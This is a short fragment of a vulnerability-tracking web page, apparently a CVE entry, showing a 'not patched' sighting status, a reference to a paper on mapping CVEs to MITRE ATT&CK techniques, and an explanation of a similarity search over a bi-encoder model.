- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.